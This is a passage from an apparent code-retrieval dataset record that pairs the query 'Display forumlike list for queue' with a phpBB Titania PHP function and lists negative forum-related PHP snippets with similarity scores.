Leder::TABLE . \"`\n WHERE `arrangement_fra` = '#fra'\n AND `arrangement_til` = '#til'\",\n [\n 'fra' => $this->getArrangementFraId(),\n 'til' => $this->getArrangementTilId()\n ]\n );\n\n $res = $query->getResults();\n while( $row = Query::fetch($res) ) {\n $this->add(\n Leder::loadFromDatabaseRow( $row )\n );\n }\n }", "public function remove($id) \n {\n $log = FezLog::get();\n \n if (array_key_exists($id, $this->_ids)) {\n $this->_ids[$id] = self::ACTION_REMOVE;\n $log->debug(\"Removed $id from queue\");\n }\n }", "abstract public function loadAll();", "public function loadFromContentID( $id=null );" ]
[ "0.7232276", "0.70095503", "0.61542386", "0.5917362", "0.5917362", "0.56831056", "0.5548621", "0.5541855", "0.552877", "0.5492588", "0.5460966", "0.5376519", "0.5361001", "0.5341546", "0.5319486", "0.5280799", "0.52697927", "0.5257673", "0.52573365", "0.5208622", "0.52042717", "0.5195215", "0.51827556", "0.51817244", "0.51745987", "0.51625144", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5154838", "0.5140726", "0.51371384", "0.5123745", "0.5117036", "0.5115515", "0.51027584", "0.509735", "0.5089745", "0.5078236", "0.5072474", "0.5036411", "0.5015916", "0.5015916", "0.49929154", "0.49915156", "0.4990723", "0.4984502", "0.49727648", "0.49618423", "0.4949232", "0.49480537", "0.49395403", "0.49282646", "0.49253464", "0.49070662", "0.49061248", "0.48979533", "0.48956007", "0.48936668", "0.48709968", "0.4869159", "0.48642018", "0.48639435", "0.4860739", "0.48554245", "0.48487294", "0.48433316", "0.48425576", "0.48328575", "0.48231483", "0.48214763", "0.4815658", "0.48155713", "0.48101532", "0.48093817", "0.47925946" ]
0.78167135
0
Display forumlike list for queue
public static function display_queue($type, $queue_status = ext::TITANIA_QUEUE_NEW, $sort = false) { if ($sort === false) { // Setup the sort tool $sort = self::build_sort(); } $sort->request(); $controller_helper = phpbb::$container->get('phpbb.titania.controller.helper'); $path_helper = phpbb::$container->get('path_helper'); $tracking = phpbb::$container->get('phpbb.titania.tracking'); $queue_ids = array(); $sql_ary = array( 'SELECT' => 'q.*, c.*, r.*, t.*, u.username as topic_first_post_username, u.user_colour as topic_first_post_user_colour, ul.username as topic_last_post_username, ul.user_colour as topic_last_post_user_colour, tp.topic_posted', 'FROM' => array( TITANIA_QUEUE_TABLE => 'q', TITANIA_CONTRIBS_TABLE => 'c', TITANIA_REVISIONS_TABLE => 'r', TITANIA_TOPICS_TABLE => 't', ), 'LEFT_JOIN' => array( array( 'FROM' => array(TITANIA_TOPICS_POSTED_TABLE => 'tp'), 'ON' => 'tp.topic_id = t.topic_id AND tp.user_id = ' . (int) phpbb::$user->data['user_id'], ), ), 'WHERE' => 'q.queue_type = ' . (int) $type . (($queue_status) ? ' AND q.queue_status = ' . (int) $queue_status : ' AND q.queue_status > 0 ') . ' AND c.contrib_id = q.contrib_id AND r.revision_id = q.revision_id AND t.topic_id = q.queue_topic_id', 'ORDER_BY' => $sort->get_order_by(), ); $sql_ary['LEFT_JOIN'][] = array( 'FROM' => array(USERS_TABLE => 'u'), 'ON' => 't.topic_first_post_user_id = u.user_id', ); $sql_ary['LEFT_JOIN'][] = array( 'FROM' => array(USERS_TABLE => 'ul'), 'ON' => 't.topic_last_post_user_id = ul.user_id', ); $tracking->get_track_sql($sql_ary, ext::TITANIA_TOPIC, 't.topic_id'); // Main SQL Query $sql = phpbb::$db->sql_build_query('SELECT', $sql_ary); // Handle pagination if (!$sort->sql_count($sql_ary, 'q.queue_id')) { // No results...no need to query more... return; } $url_parts = $path_helper->get_url_parts($controller_helper->get_current_url()); $sort->build_pagination($url_parts['base'], $url_parts['params']); $queue_ids = $user_ids = array(); // Get the data $result = phpbb::$db->sql_query_limit($sql, $sort->limit, $sort->start); while ($row = phpbb::$db->sql_fetchrow($result)) { // Store the tracking info we grabbed from the DB $tracking->store_from_db($row); $queue_ids[] = $row['queue_id']; $user_ids[] = $row['topic_first_post_user_id']; $user_ids[] = $row['topic_last_post_user_id']; $user_ids[] = $row['submitter_user_id']; self::$queue[$row['queue_id']] = $row; } phpbb::$db->sql_freeresult($result); users_overlord::load_users($user_ids); $topic = new titania_topic; foreach ($queue_ids as $queue_id) { $row = self::$queue[$queue_id]; $topic->__set_array($row); $topic->topic_posted = $row['topic_posted']; phpbb::$template->assign_block_vars('topics', array_merge($topic->assign_details(), array( 'TOPIC_SUBJECT' => $row['contrib_name'] . ' - ' . $row['revision_version'], 'S_TOPIC_PROGRESS' => ($row['queue_progress']) ? true : false, 'U_VIEW_TOPIC' => $topic->get_url(false, array('tag' => $queue_status)), 'S_TESTED' => ($row['queue_tested']) ? true : false, ))); } unset($topic); phpbb::$template->assign_vars(array( 'S_TOPIC_LIST' => true, )); // Assign common stuff for topics list topics_overlord::assign_common(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function displayForumImp()\r\n {\r\n $servername = \"localhost\";\r\n $username = \"root\";\r\n $password = \"\";\r\n\r\n $db = \"forumdb\";\r\n\r\n $table = \"forum\";\r\n\r\n $count=1;\r\n $frname=array();\r\n $frdesc=array();\r\n\r\n // Create connection\r\n $conn = new mysqli($servername, $username, $password, $db);\r\n\r\n // Check connection\r\n if ($conn->connect_error) {\r\n die(\"Connection failed: \" . $conn->connect_error);\r\n }\r\n else\r\n {\r\n $sql = \"SELECT * FROM $table WHERE sticky='1'\";\r\n $result = $conn->query($sql);\r\n\r\n if ($result->num_rows > 0)\r\n {\r\n // get data of each row\r\n while ($row = $result->fetch_assoc())\r\n {\r\n $frname[$count] = $row['forum_name'];\r\n $frdesc[$count] = $row['forum_desc'];\r\n\r\n $count++;\r\n }\r\n\r\n $CallClassBack = new forumCall();\r\n $CallClassBack->previewForum($frname, $frdesc);\r\n\r\n }\r\n else\r\n {\r\n //echo \"0 results\";\r\n echo \"Be the first the post!\";\r\n }\r\n $conn->close();\r\n }\r\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\t$param = $this->getInput(array('status'));\n\t\t$search = array();\n\t\tif ($param['status']) $search['status'] = $param['status'];\n\t\t\n\t\tlist($total, $forums) = Gou_Service_ForumReply::getList($page, $perpage, $search, array('id'=>'DESC'));\t\t\n\t\t\n\t\t$this->assign('forums', $forums);\n\t\t$this->assign('status', $this->status);\n\t $this->assign('search', $search);\n\t $url = $this->actions['listUrl'].'/?' . http_build_query($search) . '&';\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $url));\n\t}", "function show()\n\t{\n\t\t$this->process();\n\t\t\n\t\tif($this->topic_id)\n\t\t{\n\t\t\t$akt_topic = selectOne(\"SELECT * FROM `\".$this->prefix.\"topic` WHERE `topic_id`=\".$this->topic_id);\n\n\t\t\t$posts_str = \"\";\n\n\t\t\t$post_where = \"WHERE `post_topic`=\".$this->topic_id.($this->isHavePriv(FORUM_PRIV_POST_PUB)?\"\":\" AND `post_pub`=1\").\" ORDER BY `post_time` DESC\";\n\n\t\t\t$post_pager = new lapozo($this->prefix.'post',$post_where,$this->post_pager_get,$this->post_per_page); \n\n\t\t\tforeach(doSelect(\"SELECT * FROM `\".$this->prefix.\"post` \".$post_where.\" \".$post_pager->getLimit()) as $post)\n\t\t\t{\n\t\t\t\t$post['post_body'] = nl2br($post['post_body']);\n\t\t\t\tforeach($this->smiles as $val)\n\t\t\t\t{\n\t\t\t\t\tif(is_array($val['short'])) \n\t\t\t\t\t{\n\t\t\t\t\t\tforeach($val['short'] as $val2)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$post['post_body'] = str_replace($val2,'<img src=\"'.$val['url'].'\" alt=\"'.$val['name'].'\" />',$post['post_body']);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse $post['post_body'] = str_replace($val['short'],'<img src=\"'.$val['url'].'\" alt=\"'.$val['name'].'\" />',$post['post_body']);\n\n\t\t\t\t}\n\n\t\t\t\t$reply_to_v = 0;\n\t\t\t\tif($post['post_reply_to'])\n\t\t\t\t{\n\t\t\t\t\t$reply_to_v = selectOne(\"SELECT `post_time`,`post_sender` FROM `\".$this->prefix.\"post` WHERE `post_id`=\".$post['post_reply_to']);\n\t\t\t\t}\n\t\t\t\t$posts_str .= $this->templates[FORUM_TEMPLATE_POSTLIST_ELEM]->getTrans(\n\t\t\t\t\t\t\t\t\tarray_merge($post,array(\n\t\t\t\t\t\t\t\t\t\"sender\"=>$this->getUserName($post['post_sender']),\n\t\t\t\t\t\t\t\t\t\"reply_to_user\"=>$reply_to_v?$this->getUserName(($reply_to_v['post_sender'])):\"\",\n\t\t\t\t\t\t\t\t\t\"reply_to_post_id\"=>$post['post_reply_to'],\n\t\t\t\t\t\t\t\t\t\"reply_to_post_time\"=>$reply_to_v?$reply_to_v['post_time']:0,\n\t\t\t\t\t\t\t\t\t\"reply_to_link\"=>addDelGET(array($this->reply_to_get=>$post['post_id']),array(\"rt\")),\n\t\t\t\t\t\t\t\t\t\"pub\"=>$post['post_pub']?\"unpub\":\"pub\",\n\t\t\t\t\t\t\t\t\t\"del\"=>\"del\",\n\t\t\t\t\t\t\t\t\t\"del_bizt\"=>\"del_bizt\",\n\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"post_operation\"><input type=\"hidden\" name=\"post_id\" value=\"'.$post['post_id'].'\">',\n\t\t\t\t\t\t\t\t\t\"del_priv\"=>$this->isHavePriv(FORUM_PRIV_POST_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\"pub_priv\"=>$this->isHavePriv(FORUM_PRIV_POST_PUB)?1:0\n\t\t\t\t\t\t\t\t\t\t)));\n\t\t\t}\n\n\t\t\techo $this->templates[FORUM_TEMPLATE_POSTVIEW]->getTrans(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"body\"=>$posts_str,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"pager\"=>$post_pager->getButtons(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"reply_to\"=>$this->getUserName($this->getUserFromPost($this->reply_to_id)),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"reply_to_id\"=>$this->reply_to_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"forum_send\">',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"textarea\"=>'body',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"navigator\"=>$this->getPosition($this->cat_id),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"position\"=>$akt_topic['topic_name'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"user_id\"=>isNumber($this->akt_user)?$this->akt_user:0\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t));\n\t\t\t\n\t\t}\n\t\telse \n\t\t{\n\t\t\t$akt_cat = selectOne(\"SELECT * FROM `\".$this->prefix.\"cat` WHERE `cat_id`=\".$this->cat_id);\n\n\n\t\t\t$cat_where = \"WHERE `cat_parent`=\".$this->cat_id.\" \".($this->isHavePriv(FORUM_PRIV_CAT_PUB)?\"\":\" AND `cat_pub`=1\").\" ORDER BY `cat_name` \";\n\n\t\t\t$cat_pager = new lapozo($this->prefix.'cat',$cat_where,$this->cat_pager_get,$this->cat_per_page); \n\n\t\t\t$catlist_str = \"\";\n\t\t\t\n\t\t\t$cat_sorsz=0;\n\n\t\t\tforeach(doSelect(\"SELECT * FROM `\".$this->prefix.\"cat` \".$cat_where.\" \".$cat_pager->getLimit()) as $cat)\n\t\t\t{\n\t\t\t\t$catlist_str .= $this->templates[FORUM_TEMPLATE_CATLIST_ELEM]->getTrans(\n\t\t\t\t\t\t\t\t\t\t\tarray_merge($cat,array(\n\t\t\t\t\t\t\t\t\t\t\"link\"=>addDelGET(array($this->cat_get=>$cat['cat_id']),array(\"rt\")),\n\t\t\t\t\t\t\t\t\t\t\"pub\"=>$cat['cat_pub']?\"unpub\":\"pub\",\n\t\t\t\t\t\t\t\t\t\t\"del\"=>\"del\",\n\t\t\t\t\t\t\t\t\t\t\"del_bizt\"=>\"del_bizt\",\n\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"cat_operation\"><input type=\"hidden\" name=\"cat_id\" value=\"'.$cat['cat_id'].'\">',\n\t\t\t\t\t\t\t\t\t\t\"del_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"pub_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"sorszam\"=>$cat_sorsz++,\n\t\t\t\t\t\t\t\t\t\t\"created_by\"=>$this->getUserName($cat['cat_created_by'])\n\t\t\t\t\t\t\t\t\t\t\t)));\n\t\t\t}\n\n\n\n\t\t\t$topic_where = \"WHERE `topic_cat`=\".$this->cat_id.\" \".($this->isHavePriv(FORUM_PRIV_TOPIC_PUB)?\"\":\" AND `topic_pub`=1\").\" ORDER BY `topic_name` \";\n\n\t\t\t$topic_pager = new lapozo($this->prefix.'topic',$topic_where,$this->topic_pager_get,$this->topic_per_page); \n\t\t\t\n\t\t\t$topic_sorsz = 0;\n\n\t\t\t$topiclist_str = \"\";\n\t\t\tforeach(doSelect(\"SELECT * FROM `\".$this->prefix.\"topic` \".$topic_where.\" \".$topic_pager->getLimit()) as $topic)\n\t\t\t{\n\t\t\t\t$topiclist_str .= $this->templates[FORUM_TEMPLATE_TOPICLIST_ELEM]->getTrans(\n\t\t\t\t\t\t\t\t\t\tarray_merge($topic,array(\n\t\t\t\t\t\t\t\t\t\t\"link\"=>addDelGET(array($this->topic_get=>$topic['topic_id']),array(\"rt\")),\n\t\t\t\t\t\t\t\t\t\t\"pub\"=>$topic['topic_pub']?\"unpub\":\"pub\",\n\t\t\t\t\t\t\t\t\t\t\"del\"=>\"del\",\n\t\t\t\t\t\t\t\t\t\t\"del_bizt\"=>\"del_bizt\",\n\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"topic_operation\"><input type=\"hidden\" name=\"topic_id\" value=\"'.$topic['topic_id'].'\">',\n\t\t\t\t\t\t\t\t\t\t\"del_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"pub_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"sorszam\"=>$topic_sorsz++,\n\t\t\t\t\t\t\t\t\t\t\"created_by\"=>$this->getUserName($topic['topic_created_by']),\n\t\t\t\t\t\t\t\t\t\t\"last_msg\"=>selectMezo(\"SELECT max(`post_time`) as maxtime FROM `\".$this->prefix.\"post` WHERE `post_topic`=\".$topic['topic_id'],\"maxtime\")\n\t\t\t\t\t\t\t\t\t\t\t)));\n\t\t\t}\n\n\t\t\techo $this->templates[FORUM_TEMPLATE_CATVIEW]->getTrans(\n\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_pager\"=>$cat_pager->getButtons(),\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_body\"=>$catlist_str,\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_cnt\"=>$topic_sorsz,\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_cnt\"=>$cat_sorsz,\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_del_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_pub_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_del_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_pub_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"new_cat_form\"=>$this->isHavePriv(FORUM_PRIV_CAT_CREATE)?$this->templates[FORUM_TEMPLATE_NEWCAT_FORM]->getTrans(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"cat_name_input_name\"=>\"cat_name\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"new_cat\" />'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)):\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_pager\"=>$topic_pager->getButtons(),\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_body\"=>$topiclist_str,\n\t\t\t\t\t\t\t\t\t\t\t\t\"new_topic_form\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_CREATE)?$this->templates[FORUM_TEMPLATE_NEWTOPIC_FORM]->getTrans(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"topic_name_input_name\"=>\"topic_name\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"new_topic\" />'\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)):\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"navigator\"=>$this->getPosition($this->cat_id),\n\t\t\t\t\t\t\t\t\t\t\t\t\"position\"=>$akt_cat['cat_name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t));\n\t\t\t\n\t\t}\n\t}", "public function show()\n {\n global $wpdb;\n print_r($wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}queue\"));\n }", "function DisplayForums($parent_id, $forum_id, $title)\n {\n global $DB, $categoryid, $mainsettings, $userinfo, $usersystem;\n\n // SD313: check for view permission for usergroup (id enclosed in pipes!)\n // and moderation status of forums\n $forums_tbl = PRGM_TABLE_PREFIX.'p_forum_forums';\n $posts_tbl = PRGM_TABLE_PREFIX.'p_forum_posts';\n $topics_tbl = PRGM_TABLE_PREFIX.'p_forum_topics';\n $forum_id = (int)$forum_id;\n\n if(empty($parent_id) || !isset($this->conf->forums_cache['parents'][$parent_id])) // SD343: \"isset\"\n {\n $source = array($forum_id);\n }\n else\n {\n $parent_id = (int)$parent_id;\n $source = &$this->conf->forums_cache['parents'][$parent_id];\n }\n\n $output = '';\n $do_body = false;\n if(isset($source) && is_array($source))\n foreach($source as $fid)\n {\n $forum_arr = isset($this->conf->forums_cache['forums'][$fid]) ?\n (array)$this->conf->forums_cache['forums'][$fid] : false;\n if(!$forum_arr) continue;\n $forum_groups = sd_ConvertStrToArray($forum_arr['access_view'],'|');\n if(!$this->conf->IsSiteAdmin)\n {\n if(empty($forum_arr['online'])) continue;\n if(!empty($forum_groups) && !count(@array_intersect($userinfo['usergroupids'], $forum_groups)))\n continue;\n }\n\n if(!$do_body)\n {\n $output .= '\n <tbody>';\n $do_body = true;\n }\n\n $external = false;\n $target = '';\n if(!empty($forum_arr['is_category']))\n {\n $link = '#';\n }\n else\n if(empty($forum_arr['link_to']) || !strlen(trim($forum_arr['link_to'])))\n {\n //SD343 SEO Forum Title linking\n $link = $this->conf->RewriteForumLink($fid);\n }\n else\n {\n $external = true;\n $link = trim($forum_arr['link_to']);\n $target = strlen($forum_arr['target']) ? ' target=\"'.$forum_arr['target'].'\" ' : '';\n }\n\n // Display forum image\n $img_col = false;\n if(!empty($this->conf->plugin_settings_arr['display_forum_image']))\n {\n $image = false;\n if(!empty($forum_arr['image']) && !empty($forum_arr['image_h']) && !empty($forum_arr['image_w']))\n {\n $image = $forum_arr['image'].'\" alt=\"\" width=\"'.$forum_arr['image_w'].'\" height=\"'.$forum_arr['image_h'].'\" style=\"border:none\" />';\n }\n if($image) $image = '<img src=\"'.SDUserCache::$img_path.$image;\n $img_col = '<td class=\"col-forum-icon\"><a class=\"forum-title-link\" '.$target.'href=\"'.$link.'\">'. $image.'</a></td>';\n }\n\n $output .= '\n <tr>'.($img_col?$img_col:'').'\n <td class=\"col-forum-title\"><a class=\"forum-title-link\" '.$target.'href=\"'.$link.'\">'.\n (!$forum_arr['online'] ? '<img src=\"'.SDUserCache::$img_path.'lock.png\" alt=\"'.\n strip_alltags($this->conf->plugin_phrases_arr['forum_offline']).'\" />' : '').$forum_arr['title'].'</a>'.\n (strlen($forum_arr['description']) ? ' <p class=\"forum-description\">' . $forum_arr['description'].'</p>' : '');\n\n // Display sub-forums of current forum\n if(!empty($forum_arr['subforums']))\n {\n $sub_links = array();\n foreach($this->conf->forums_cache['parents'][$fid] as $subid)\n {\n $sub_output = '';\n $sub = $this->conf->forums_cache['forums'][$subid];\n if(!$this->conf->IsSiteAdmin)\n {\n if(empty($sub['online'])) continue;\n $subforum_groups = sd_ConvertStrToArray($sub['access_view'],'|');\n if(!empty($subforum_groups) && !count(@array_intersect($userinfo['usergroupids'], $subforum_groups)))\n continue;\n }\n\n $image = '';\n if(empty($sub['online']) && (empty($sub['link_to']) || !strlen(trim($sub['link_to']))))\n {\n $image = '<img src=\"'.SDUserCache::$img_path.'lock.png\" width=\"16\" height=\"16\" alt=\"'.\n htmlspecialchars($this->conf->plugin_phrases_arr['forum_offline'], ENT_COMPAT).'\" />';\n }\n else\n if(!empty($this->conf->plugin_settings_arr['display_forum_image']))\n {\n if(!empty($sub['image']) && !empty($sub['image_h']) && !empty($sub['image_w']))\n {\n $image = '<img src=\"'.SDUserCache::$img_path.$sub['image'].'\" alt=\"\" width=\"'.$sub['image_w'].'\" height=\"'.$sub['image_h'].'\" style=\"border:none\" />';\n }\n $descr = strip_tags(str_replace(array('<br>','<br />','&quot;'),array(' ',' ',''), $sub['description']));\n }\n\n if(empty($sub['link_to']) || !strlen(trim($sub['link_to'])))\n {\n $target = '';\n //SD343 SEO Forum Title linking\n $link = $this->conf->RewriteForumLink($sub['forum_id']);\n }\n else\n {\n $link = trim($sub['link_to']);\n $target = strlen($sub['target']) ? ' target=\"'.$sub['target'].'\" ' : '';\n if(!$image)\n $image = '<img src=\"'.SDUserCache::$img_path.'arrow-right.png\" width=\"14\" height=\"14\" alt=\"\" />';\n }\n if($descr = strip_tags(str_replace(array('<br>','<br />','&quot;'),array(' ',' ',' '), $sub['description'])))\n {\n $descr = 'title=\"'.htmlspecialchars($descr).'\" ';\n }\n $sub_output .= $image.'<a class=\"forum-sublink\" '.$target.$descr.'href=\"'.$link.'\">'.$sub['title'].'</a>';\n $sub_links[] = $sub_output;\n }\n if(!empty($sub_links))\n $output .= '\n <p class=\"sub-forums\">'.implode(', ',$sub_links).'</p>';\n unset($sub_links);\n }\n\n $output .= '\n </td>';\n if(!empty($mainsettings['enable_rss_forum']))\n {\n $output .= '\n <td class=\"col-rss\"><a title=\"RSS\" class=\"rss-icon\" href=\"forumrss.php?forum_id=' . $fid . '\">RSS</a></td>';\n }\n\n //SD342: add first 100 chars as link title for preview\n $post_hint = '';\n if(!empty($forum_arr['post_text']))\n $post_hint = SDForumConfig::GetBBCodeExtract($forum_arr['post_text']);\n\n $output .= '\n <td class=\"col-topic-count\">' . number_format($forum_arr['topic_count']) . '</td>\n <td class=\"col-post-count\">' . number_format($forum_arr['post_count']) . '</td>\n <td class=\"col-last-updated\"'.$post_hint.' style=\"cursor:normal\">';\n\n if(!empty($forum_arr['last_post_date']))\n {\n $thread_title = $forum_arr['last_topic_title'];\n //SD370: fetch prefix (if present and uncensored) and display it\n $thread_prefix = '';\n if(!empty($forum_arr['last_topic_id']))\n {\n if($prefix = $this->GetTopicPrefix($forum_arr['last_topic_id']))\n {\n $thread_prefix = str_replace('[tagname]', $prefix['tag'], $prefix['html_prefix']).' ';\n }\n unset($prefix);\n }\n\n if(strlen($thread_title) > 30)\n {\n $space_position = strrpos($thread_title, \" \") - 1;\n //SD343: respect utf-8\n if($space_position === false)\n $space_position = 30;\n else\n $space_position++;\n $thread_title = sd_substr($thread_title, 0, $space_position) . '...';\n }\n\n //SD343 SEO Forum Title linking\n $link = $forum_arr['last_topic_seo_url'];\n $output .= '<a class=\"jump-post-link\" href=\"'.$link.'\">'.$thread_prefix.trim($thread_title).'</a>';\n if(!empty($forum_arr['poster_id']))\n {\n $poster_id = (int)$forum_arr['poster_id'];\n //SD342: user caching\n $poster = SDUserCache::CacheUser($poster_id, $forum_arr['last_post_username'], false);\n $output .= '<br />'.$this->conf->plugin_phrases_arr['posted_by'].' '.$poster['profile_link'];\n }\n else\n {\n $output .= $forum_arr['last_post_username'];\n }\n $output .= '<br />\n ' . $this->conf->GetForumDate($forum_arr['last_post_date']);\n }\n\n $output .= '</td>\n </tr>';\n\n } //while\n\n if($do_body)\n {\n $output .= '\n </tbody>\n <!-- DisplayForums -->\n ';\n return $output;\n }\n return false;\n\n }", "public function actionIndex()\n\t{\n\t\t$forumId = $this->_input->filterSingle('node_id', XenForo_Input::UINT);\n\t\tif (empty($forumId))\n\t\t{\n\t\t\treturn parent::actionIndex();\n\t\t}\n\t\t\n\t\t\n\t\t$options = XenForo_Application::get('options');\n\t\tif (($forumId && $forumId != $options->cmfUserBlogsNode) || $this->_routeMatch->getResponseType() == 'rss' || $this->_input->filterSingle('user_id', XenForo_Input::UINT))\n\t\t{\n\t\t\treturn parent::actionIndex();\n\t\t}\n\t\t\n\t\t/** @var $ftpHelper XenForo_ControllerHelper_ForumThreadPost */\n\t\t$ftpHelper = $this->getHelper('ForumThreadPost');\n\t\t$forum = $ftpHelper->assertForumValidAndViewable(\n\t\t\t$forumId,\n\t\t\t$this->_getForumFetchOptions()\n\t\t);\n\t\t$forumId = $forum['node_id'];\n\n\t\t$visitor = XenForo_Visitor::getInstance();\n\t\t$userBlogModel = $this->_getUserBlogModel();\n\t\t$forumModel = $this->_getForumModel();\n\n\t\t$page = max(1, $this->_input->filterSingle('page', XenForo_Input::UINT));\n\t\t$usersPerPage = $options->cmfUserBlogsPerPage;\n\n\t\t$this->canonicalizeRequestUrl(\n\t\t\tXenForo_Link::buildPublicLink('forums', $forum, array('page' => $page))\n\t\t);\n\n\t\tlist($defaultOrder, $defaultOrderDirection) = $this->_getDefaultThreadSort($forum);\n\n\t\t// only default sort by last_post_date desc\n\t\t$order = $defaultOrder;\n\t\t$orderDirection = $defaultOrderDirection;\n\n\t\t//all threads and fake value for disabling \"mark read\"\n\t\t$displayConditions = array();\n\n\t\t$fetchElements = $this->_getThreadFetchElements(\n\t\t\t$forum, $displayConditions,\n\t\t\t$usersPerPage, $page, $order, $orderDirection\n\t\t);\n\t\t$threadFetchConditions = $fetchElements['conditions'];\n\t\t$threadFetchOptions = $fetchElements['options'] + array(\n\t\t\t'perPage' => $usersPerPage,\n\t\t\t'page' => $page,\n\t\t\t'order' => $order,\n\t\t\t'orderDirection' => $orderDirection\n\t\t);\n\t\tunset($fetchElements);\n\n\n\t\t$totalUserBlogs = $userBlogModel->countUserBlogs($threadFetchConditions);\n\t\t$this->canonicalizePageNumber($page, $usersPerPage, $totalUserBlogs, 'forums', $forum);\n\n\t\t$permissions = $visitor->getNodePermissions($forumId);\n\n\t\t// get the ordering params set for the header links\n\t\t$orderParams = array();\n\t\t$pageNavParams = $displayConditions;\n//\t\t$pageNavParams['order'] = ($order != $defaultOrder ? $order : false);\n//\t\t$pageNavParams['direction'] = ($orderDirection != $defaultOrderDirection ? $orderDirection : false);\n\t\t$pageNavParams['order'] = false;\n\t\t$pageNavParams['direction'] = false;\n\n\t\t$userBlogs = $userBlogModel->getNodeUserDataForListDisplay($forum, $threadFetchConditions, $threadFetchOptions, $permissions);\n\t\t$viewParams = array(\n\t\t\t'nodeList' => $userBlogs,\n\t\t\t'forum' => $forum,\n\t\t\t'nodeBreadCrumbs' => $ftpHelper->getNodeBreadCrumbs($forum, false),\n\n\t\t\t'canPostThread' => $forumModel->canPostThreadInForum($forum),\n\t\t\t'canSearch' => $visitor->canSearch(),\n\n\t\t\t//TODO Ignore List\n\t\t\t'ignoredNames' => array(), //$this->_getIgnoredContentUserNames($threads) + $this->_getIgnoredContentUserNames($stickyThreads),\n\n\t\t\t'order' => $order,\n\t\t\t'orderDirection' => $orderDirection,\n\t\t\t'orderParams' => $orderParams,\n\t\t\t'displayConditions' => $displayConditions,\n\n\t\t\t'pageNavParams' => $pageNavParams,\n\t\t\t'page' => $page,\n\t\t\t'blogsStartOffset' => ($page - 1) * $usersPerPage + 1,\n\t\t\t'blogsEndOffset' => ($page - 1) * $usersPerPage + count($userBlogs['nodesGrouped'][$forumId]),\n\t\t\t'blogsPerPage' => $usersPerPage,\n\t\t\t'totalBlogs' => $totalUserBlogs,\n\n\t\t\t'showPostedNotice' => $this->_input->filterSingle('posted', XenForo_Input::UINT)\n\t\t);\n\n\t\treturn $this->responseView('XenForo_ViewPublic_Forum_View', 'cmf_user_blog_view', $viewParams);\n\t}", "public function display() {\n if (!$this->isEmpty()) {\n for ($i = 0; $i < $this->getLength(); $i++) {\n echo $this->queue[$i];\n echo \"<br>\";\n }\n } \n else {\n return \"The Queue is empty\";\n }\n }", "function DisplayForumCategories()\n {\n global $DB, $categoryid, $mainsettings, $sdlanguage, $sdurl, $userinfo, $usersystem;\n\n //SD343: display optional 